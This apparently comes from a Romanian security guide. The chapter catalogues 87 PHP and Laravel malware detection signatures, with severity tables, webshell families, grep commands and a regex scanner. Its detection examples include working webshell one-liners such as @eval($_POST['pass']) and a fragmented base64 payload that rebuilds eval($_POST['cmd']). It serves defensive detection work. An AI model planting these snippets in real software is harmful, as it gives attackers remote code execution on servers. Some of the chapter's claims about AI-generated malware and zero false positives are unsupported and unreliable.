Cele 87 de semnături: O analiză profundă a malware-ului PHP
Când știi cum arată malware-ul, îl poți găsi. Aceasta este premisa din spatele detectării bazate pe semnături - fundația fiecărui scanner de securitate.
Acest capitol documentează 87 de semnături unice de malware care țintesc aplicații PHP și Laravel. Fiecare reprezintă un tipar care, când este găsit în baza ta de cod, indică o potențială compromitere.
Cum Am Construit Această Bază de Date
Baza noastră de date de semnături nu a fost creată într-o zi. Este rezultatul sintezei cercetării din multiple surse:
Am sintetizat cercetarea din 5 modele AI de top, combinată cu surse stabilite din industrie—reguli Neo23x0/YARA, JAMSS, rapoarte Akamai. Fiecare model a contribuit cu perspective unice pe diverse categorii de amenințări, de la tehnici de evaziune la vulnerabilități zero-day.
Dar metodologia e doar jumătate din poveste.
Adevărata valoare vine din ce NU poate fi replicat ușor:
- Validare pe incidente reale — fiecare semnătură testată pe malware-ul găsit efectiv în clipcraft.ro și cetatean.ro
- Zero false positives — verificare riguroasă pe instalări Laravel proaspete (11 și 12)
- Actualizare continuă — scanner-ul nostru automatizează acest proces de cercetare, constant
- Curare umană — fiecare pattern trece prin Red Team review înainte de publicare
Fiecare tipar a fost validat cu preg_match() și testat extensiv pentru a elimina alertele false.
Înțelegerea Categoriilor de Semnături
Nu toate semnăturile sunt egale. Le categorizăm după severitate și încredere:
| Categorie | Încredere | Acțiune | Număr |
|---|---|---|---|
| Critică | >95% | Auto-carantină | 28 |
| Ridicată | 80-95% | Alertă + Revizuire | 18 |
| Medie | 50-80% | Necesită Context | 14 |
| Suspicioasă | <50% | Informațională | 6 |
| Polimorfism AI | Variabilă | Gestionare Specială | 3 |
Scor de Încredere
Încrederea indică cât de probabil este ca o potrivire să reprezinte malware real vs. cod legitim. O semnătură cu 99% încredere înseamnă că false positive-urile sunt extrem de rare. Semnăturile cu încredere mai mică necesită revizuire umană.
Semnături Critice (28 Tipare)
Acestea sunt cele mai periculoase tipare - cod care nu este aproape niciodată legitim și ar trebui să declanșeze acțiune imediată.
Execuție Directă de Cod
Cele mai evidente tipare de malware implică execuția de cod arbitrar:
SIG-C001 CRITICAL eval_base64_decode
Execuție Codeval(base64_decode(...)) - Execuție clasică de payload. Decodifică codul
ascuns și îl rulează. Încredere: 98% | False positive-uri: Extrem de rare
SIG-C002 CRITICAL eval_gzinflate
Execuție Codeval(gzinflate(...)) - Execuție de payload comprimat. Decomprimă și rulează
cod ascuns. Încredere: 98%
SIG-C003 CRITICAL eval_user_input
Webshelleval($_GET/POST/REQUEST) - Execuție directă a input-ului utilizatorului.
Indicator clasic de webshell. Încredere: 99% | MITRE ATT&CK: T1505.003
// SIG-C001: eval + base64_decode
eval(base64_decode('ZWNobyAnaGFja2VkJzs='));
// SIG-C002: eval + gzinflate
eval(gzinflate(base64_decode('...')));
// SIG-C003: eval cu input utilizator (WEBSHELL!)
eval($_POST['cmd']); Injecție de Comenzi de Sistem
Când atacatorii vor acces la shell:
SIG-C010 CRITICAL shell_exec_user_input
Comandă OSshell_exec($_GET/POST) - Injecție directă de comandă OS din input
utilizator. Încredere: 99% | MITRE ATT&CK: T1059.004
SIG-C011 CRITICAL system_user_input
Comandă OSsystem($_GET/POST) - Execută comandă de sistem cu input utilizator.
Încredere: 99%
SIG-C012 CRITICAL passthru_user_input
Comandă OSpassthru($_GET/POST) - Execuție comandă cu output raw. Încredere: 99%
SIG-C013 CRITICAL exec_user_input
Comandă OSexec($_GET/POST) - Execută program extern cu input utilizator. Încredere:
99%
SIG-C014 CRITICAL proc_open_user_input
Comandă OSproc_open($_GET/POST) - Control proces cu input utilizator. Încredere:
99%
SIG-C015 CRITICAL popen_user_input
Comandă OSpopen($_GET/POST) - Deschide pointer fișier proces cu input utilizator.
Încredere: 99%
Tipare Zero-Day DeepSeek (2026)
Aceste tipare au fost descoperite prin cercetare AI și reprezintă amenințări emergente:
SIG-DS003 CRITICAL variable_function_call_superglobal
Polimorfic$var($_GET/POST) - Apel funcție variabilă cu input utilizator. Tehnică de
execuție polimorfică. Încredere: 97% | Rezistență la Bypass: Ridicată
SIG-DS004 CRITICAL devshm_php_file
FilelessCale fișier PHP în /dev/shm/ - Persistență fileless în RAM. Supraviețuiește
scanărilor bazate pe fișiere. Încredere: 99% | Tehnică: Malware fileless
SIG-DS005 CRITICAL devshm_write
Filelessfile_put_contents('/dev/shm/...') - Scriere în sistemul de fișiere bazat pe
RAM. Staging pentru malware fileless. Încredere: 99% | Tehnică: Malware
fileless
SIG-DS006 CRITICAL eval_variable_indirect
Obfuscareeval($variable) - Execuție indirectă prin variabilă. Comun în malware
generat de AI. Încredere: 90% | Notă: Verifică contextul pentru false
positive-uri
Tipare RCE Specifice Laravel
Următoarele două tipare țintesc specific aplicațiile Laravel prin abuzarea sistemului de criptare. Dacă APP_KEY-ul tău este compromis, acestea devin exploatabile.
SIG-DS007 CRITICAL laravel_decrypt_user_input
Laravel RCEdecrypt($_GET/POST) - Laravel decrypt() cu input utilizator. Permite RCE
prin deserializare dacă APP_KEY este scurs. Încredere: 98% | Specific
Laravel
SIG-DS008 CRITICAL unserialize_decrypt_chain
Laravel RCEunserialize(decrypt(...)) - Atac cu lanț gadget. Deserializează date
controlate de atacator. Încredere: 99% | Specific Laravel
// SIG-DS007: Laravel decrypt cu input utilizator
$data = decrypt($_POST['payload']); // CRITIC dacă APP_KEY e scurs
// SIG-DS008: Atac cu lanț gadget
$obj = unserialize(decrypt($_REQUEST['data'])); // RCE via lanțuri phpggc Tipare Critice Adiționale
SIG-C004 CRITICAL assert_dynamic
Execuție Codassert($var) sau assert(base64...) - assert() cu input dinamic execută
cod. Încredere: 95%
SIG-C005 CRITICAL create_function_deprecated
Execuție Codcreate_function('', $_...) - Funcție deprecată care folosește eval() intern.
Încredere: 97% | Sursă: Analiză AST GPT-4
SIG-C006 CRITICAL preg_replace_e_modifier
Execuție Codpreg_replace('/.../e', ...) - Modificatorul /e execută înlocuirea ca cod
PHP. Încredere: 99% | Notă: Eliminat în PHP 7.0, dar încă văzut în sisteme
legacy
Cele 7 Familii de Webshell
Webshell-urile sunt malware-ul pe care îl întâlnim cel mai des. Acestea sunt kituri backdoor complete care oferă atacatorilor control total asupra serverului tău.
WSO (Web Shell by Orb)
SIG-WS002 CRITICAL wso_shell
Familie WebshellMarkeri: WSO_VERSION, FilesMan, w_s_o_root Încredere: 99%
| Atribut | Detalii |
|---|---|
| Prima Apariție | 2010 |
| Ultima Actualizare | 2021 (WSO-NG) |
| Aliasuri | WSO 2.1, WSO-NG, WSO Mini, FilesMan |
| Descriere | Cel mai popular webshell PHP bogat în funcții. Include manager de fișiere, client bază de date, execuție comenzi și capabilități de auto-actualizare. |
China Chopper
SIG-WS001 CRITICAL china_chopper
Familie WebshellTipar: @eval($_POST['password']); Încredere: 99% | MITRE ATT&CK:
T1505.003
| Atribut | Detalii |
|---|---|
| Prima Apariție | 2012 |
| Aliasuri | caidao, C knife |
| Dimensiune | ~4KB |
| Descriere | Backdoor APT compact folosit de actori de amenințări chinezi. Amprentă extrem de mică face să fie ușor de ratat. Componentă server de o linie cu client complet. |
<?php @eval($_POST['pass']); ?> 4KB de Distrugere
Componenta server a China Chopper este adesea doar O SINGURĂ LINIE de cod. Acea singură linie oferă: management de fișiere, execuție comenzi, acces la bază de date și pivotare în rețea - toate controlate de un client GUI Windows.
B374K Shell
SIG-WS004 CRITICAL b374k_shell
Familie WebshellMarkeri: b374k, b374k r3c0d3d Încredere: 99%
| Atribut | Detalii |
|---|---|
| Prima Apariție | 2014 |
| Aliasuri | b374k 2.x, b374k 3.x |
| Descriere | Webshell modern cu protecție prin parolă, suport teme și arhitectură modulară. Cunoscut pentru UI-ul curat și funcțiile extinse. |
C99 Shell
SIG-WS003 CRITICAL c99_shell
Familie WebshellMarkeri: c99sh_surl, c99shell, c99_buff_prepare Încredere: 99%
| Atribut | Detalii |
|---|---|
| Prima Apariție | 2008 |
| Descriere | Variantă WSO extinsă cu capabilități de auto-ștergere, brute force FTP și instrumente de codificare. Adesea găsit cu payload-uri adiționale. |
R57 Shell
SIG-WS007 CRITICAL r57_shell
Familie WebshellMarkeri: r57shell, r57_pwd Încredere: 99%
| Atribut | Detalii |
|---|---|
| Prima Apariție | 2006 |
| Descriere | Unul dintre cele mai vechi webshell-uri încă găsite în sălbăticie. Design clasic, încă menținut de diverse grupuri. |
ALFA Shell
SIG-WS005 CRITICAL alfa_shell
Familie WebshellMarkeri: ALFA_DATA, AlfaTeam, Alfa Shell Încredere: 99%
| Atribut | Detalii |
|---|---|
| Prima Apariție | 2018 |
| Descriere | Webshell underground modern cu funcții avansate. Popular în forumurile de criminalitate cibernetică din Europa de Est. |
IndoXploit
SIG-WS006 CRITICAL indoxploit_shell
Familie WebshellMarkeri: IndoXploit, IDX_Config Încredere: 99%
| Atribut | Detalii |
|---|---|
| Prima Apariție | 2016 |
| Descriere | Webshell de defacement în masă țintind servere Linux. Adesea folosit pentru campanii de vandalizare site-uri. |
Semnături de Severitate Ridicată (18 Tipare)
Aceste tipare au 80-95% încredere - sunt adesea malițioase dar pot avea utilizări legitime în contexte specifice.
Tipare de Obfuscare
SIG-H001 HIGH hex_obfuscation_chain
Obfuscare3+ secvențe consecutive de escape hex (\x48\x65\x6c\x6c\x6f). Încredere:
85%
SIG-H002 HIGH chr_concatenation
Obfuscare5+ apeluri consecutive chr() concatenate: chr(72).chr(101).chr(108)...
Încredere: 90%
SIG-H003 HIGH str_rot13_execution
Obfuscareeval(str_rot13(...)) sau similar - ROT13 cu execuție de cod. Încredere:
92%
SIG-H004 HIGH multi_layer_decode
Obfuscare2+ funcții de decodare înlănțuite: eval(gzuncompress(base64_decode(...)))
Încredere: 88% | Sursă: semnături JAMSS
// SIG-H001: Obfuscare hex
$cmd = "\x73\x79\x73\x74\x65\x6d"; // "system"
// SIG-H002: lanț chr()
$func = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
// SIG-H004: Decodare multi-strat
eval(gzuncompress(base64_decode(str_rot13('...')))); Tipare Polimorfice (DeepSeek 2026)
SIG-DS001 HIGH base64_decode_any
Polimorficbase64_decode('...') cu șir de 20+ caractere - Prinde base64 cu padding
eliminat. Încredere: 85% | Notă: Poate potrivi date codificate legitime
SIG-DS002 HIGH polymorphic_function_build
PolimorficConcatenare șiruri construind nume funcție: $f = 'sys'.'tem'; Încredere:
82% | Exemplu: $f = "sys"."tem"; $f($cmd);
SIG-H010 HIGH variable_function_generic
PolimorficApel generic funcție variabilă: $func($arg) Încredere: 80% | Notă: Comun
în framework-uri, necesită context
Abuz Funcții Callback
SIG-H020 HIGH callback_dangerous_input
Abuz Callbackarray_map, array_filter, call_user_func cu callback-uri suspecte.
Încredere: 88%
SIG-H021 HIGH usort_callback_abuse
Abuz Callbackusort($arr, 'system') - Funcții de sortare cu callback-uri periculoase.
Încredere: 95% | Sursă: Analiză AST GPT-4
// SIG-H020: array_map cu callback periculos
array_map($_GET['func'], $data);
// SIG-H021: abuz callback usort
usort($arr, 'system'); // Apelează system() pe elementele array! Tipare Operațiuni pe Fișiere
SIG-H030 HIGH include_dynamic_path
Includere Fișierinclude($variable) - Cale dinamică în instrucțiunea include. Încredere:
82% | Sursă: Analiză AST GPT-4
SIG-H031 HIGH require_user_input
Includere Fișierrequire($_GET/POST) - Vector LFI/RFI direct. Încredere: 98%
SIG-H032 HIGH include_remote_url
Includere Fișierinclude('http://...') - Includere fișier remote. Încredere: 95%
Abuz API Reflection
SIG-H040 HIGH reflection_invoke
ReflectionApeluri ->invoke() sau ->invokeArgs() - Potențial bypass funcție.
Încredere: 75% | Notă: Comun în containere DI, verifică contextul
SIG-H041 HIGH reflection_function_dangerous
Reflectionnew ReflectionFunction('system') - Reflection cu funcție periculoasă.
Încredere: 95%
Altele Severitate Ridicată
SIG-H050 HIGH openssl_decrypt_header_key
Criptareopenssl_decrypt() cu cheie din header HTTP - Canal de comandă ascuns.
Încredere: 95%
SIG-H060 HIGH function_comment_bypass
Bypass WAFeval/*comment*/() - Injecție comentariu pentru bypass semnături WAF.
Încredere: 92%
Semnături Severitate Medie (14 Tipare)
Acestea necesită analiză de context pentru a determina dacă sunt malițioase:
Operațiuni pe Fișiere cu Input Utilizator
SIG-M001 MEDIUM file_put_contents_user_input
Scriere Fișierfile_put_contents(..., $_GET/POST) - Scrierea input-ului utilizator în
fișier. Încredere: 75%
SIG-M002 MEDIUM fwrite_user_input
Scriere Fișierfwrite(..., $_GET/POST) - Scrierea input-ului utilizator cu fwrite().
Încredere: 75%
SIG-M003 MEDIUM move_uploaded_file
Upload Fișiermove_uploaded_file($_FILES...) - Verifică că validarea este în loc.
Încredere: 50% | Adesea legitim
Șiruri Lungi Codificate
SIG-M010 MEDIUM long_base64_string
Date CodificateȘir Base64 cu 500+ caractere în codul sursă. Încredere: 65%
SIG-M011 MEDIUM gzinflate_long_string
Date Codificategzinflate() cu șir codificat lung (200+ caractere). Încredere: 70%
Funcții Anonime
SIG-M020 MEDIUM closure_immediate_invoke
AnonimIIFE (Immediately Invoked Function Expression) conținând funcții periculoase. Încredere: 85%
SIG-M021 MEDIUM anonymous_class_shell_exec
AnonimClasă anonimă cu metode de execuție comenzi. Încredere: 88% | Sursă: Analiză AST GPT-4
Superglobale în Context Neobișnuit
SIG-M030 MEDIUM http_header_access
Superglobal$_SERVER['HTTP_*'] - Acces header HTTP personalizat. Încredere: 50% |
Adesea legitim pentru API-uri
SIG-M031 MEDIUM php_input_stream
SuperglobalAcces php://input - Date POST raw. Încredere: 55% | Comun în API-uri
JSON
SIG-M032 MEDIUM cookie_in_dangerous_context
Superglobal$_COOKIE folosit cu eval/system/exec. Încredere: 92%
Obfuscare Șiruri
SIG-M040 MEDIUM string_concat_long
Obfuscare8+ părți de șir concatenate. Încredere: 70%
SIG-M041 MEDIUM strrev_function_name
Obfuscarestrrev('metsys') - Inversarea numelor de funcții periculoase. Încredere:
90%
Tipare Suspecte/Informaționale (6 Tipare)
Tipare cu încredere scăzută care pot indica probleme dar sunt adesea legitime:
| ID | Tipar | Descriere | Încredere |
|---|---|---|---|
| SIG-S001 | base64_decode_generic | Orice utilizare base64_decode() | 30% |
| SIG-S002 | unserialize_generic | Orice utilizare unserialize() | 40% |
| SIG-S003 | eval_generic | Orice utilizare eval() | 45% |
| SIG-S004 | self_delete | unlink(__FILE__) - Fișier care se auto-șterge | 75% |
| SIG-S005 | disabled_error_reporting | error_reporting(0) | 35% |
| SIG-S006 | ini_set_display_errors | Display errors dezactivat | 30% |
Nu Semnaliza Automat Acestea
Tiparele suspecte nu ar trebui să declanșeze alerte automate. Sunt utile ca
indicatori adițional când sunt combinate cu alte descoperiri. Un fișier cu
base64_decode() este de obicei în regulă. Un fișier cu base64_decode() ȘI
eval() ȘI error_reporting(0) este suspect.
Tipare de Polimorfism AI (2026)
Atacatorii moderni folosesc AI pentru a genera malware polimorfic - cod care își restructurează pentru a evita detectarea prin semnături:
SIG-AI001 HIGH dynamic_string_array_build
Polimorfism AIConstruire array cu fragmente scurte codificate. AI generează secvențe unice de fragmente. Încredere: 80% | Tehnică: Payload fragmentat
SIG-AI002 CRITICAL implode_eval_chain
Polimorfism AIeval(implode('', $array)) - Reconstruiește payload-ul din fragmente.
Încredere: 95% | Tehnică: Payload fragmentat
SIG-AI003 MEDIUM dynamic_class_instantiation
Polimorfism AInew $className() - Instanțiere dinamică de clasă. Încredere: 65% | Notă:
Comun în tipare factory
// SIG-AI001 + SIG-AI002: Payload fragmentat
$chunks = [];
$chunks[] = 'ZXZh'; // AI generează ordine unică de fragmente
$chunks[] = 'bCgk';
$chunks[] = 'X1BP';
$chunks[] = 'U1Rb';
$chunks[] = 'J2NtZCddKTs=';
// Reconstruiește și execută
eval(base64_decode(implode('', $chunks))); De Ce Eșuează Semnăturile Contra Malware-ului AI
Malware-ul generat de AI își schimbă structura la fiecare 15-60 secunde. Fiecare instanță are nume de variabile, ordini de fragmente și straturi de obfuscare unice. Semnăturile tradiționale nu pot ține pasul. De aceea avem nevoie de analiză comportamentală (Capitolul 5) și detectare entropică.
Indicatori de Obfuscare
Aceștia nu sunt semnături independente, ci modificatori de scor care cresc încrederea când sunt combinați cu alte tipare:
| Indicator | Tipar | Modificator Scor | Prag |
|---|---|---|---|
| hex_encoded | \x48\x65\x6c... | +0.30 | 3+ secvențe |
| long_base64 | șir base64 500+ caractere | +0.40 | - |
| chr_chain | chr(72).chr(101)... | +0.35 | 5+ apeluri |
| string_concat_extreme | 10+ părți concatenate | +0.45 | - |
| variable_variables | ${$var} | +0.25 | - |
| octal_encoding | \110\145\154... | +0.30 | 3+ secvențe |
Exemplu de Scoring:
Fișier: suspect.php
- Potrivire: SIG-M011 (gzinflate_long_string) = 0.70 încredere bază
- Indicator: long_base64 = +0.40
- Indicator: hex_encoded = +0.30
- Încredere finală: 0.70 + 0.40 + 0.30 = 1.00 (plafonat la 0.99)
- Rezultat: CRITIC - Carantină
Folosirea Acestor Semnături
Pentru Revizuire Manuală
Caută în baza ta de cod tipare critice:
# Caută tipar eval+base64
grep -rn "eval.*base64_decode" --include="*.php" .
# Caută markeri webshell
grep -rn "WSO_VERSION\|FilesMan\|c99shell\|b374k" --include="*.php" .
# Caută input utilizator în funcții periculoase
grep -rn "eval.*\$_\(GET\|POST\|REQUEST\)" --include="*.php" .
Pentru Scanare Automată
Aceste semnături sunt proiectate pentru scanare bazată pe regex:
$signatures = [
'critical' => [
'eval_base64' => '/eval\s*\(\s*base64_decode\s*\(/i',
'china_chopper' => '/@?eval\s*\(\s*\$_POST\s*\[/i',
// ... mai multe tipare
]
];
foreach ($files as $file) {
$content = file_get_contents($file);
foreach ($signatures['critical'] as $name => $pattern) {
if (preg_match($pattern, $content)) {
alert("CRITIC: {$name} găsit în {$file}");
}
}
}
Managementul False Positive-urilor
Nu fiecare potrivire este malware. Aplică modificatori de context:
| Context | Modificator Scor | Motiv |
|---|---|---|
vendor/ | -0.40 | Cod terță parte |
storage/framework/views/ | -0.50 | Template-uri Blade compilate |
bootstrap/cache/ | -0.45 | Cache framework |
tests/ | -0.30 | Fixtures de test |
Sumar
Am acoperit 87 de semnături în multiple categorii:
Concluzii cheie:
- Semnăturile critice (eval+base64, markeri webshell, input utilizator în funcții periculoase) ar trebui să declanșeze acțiune imediată
- Tiparele de severitate ridicată necesită revizuire umană dar sunt adesea malițioase
- Tiparele medii/suspecte sunt dependente de context - caută combinații
- Polimorfismul AI schimbă jocul - semnăturile singure nu sunt suficiente
- Modificatorii de context previn false positive-urile în codul vendor și directoarele framework
Următorul: Capitolul 5 - Dincolo de Semnături: Cum Evită Detectarea Malware-ul Modern
Semnăturile prind amenințări cunoscute, dar ce facem cu cele necunoscute? În următorul capitol, vom explora analiza entropică, detectarea comportamentală și tehnicile pe care le folosește malware-ul modern pentru a evita scannerele tradiționale.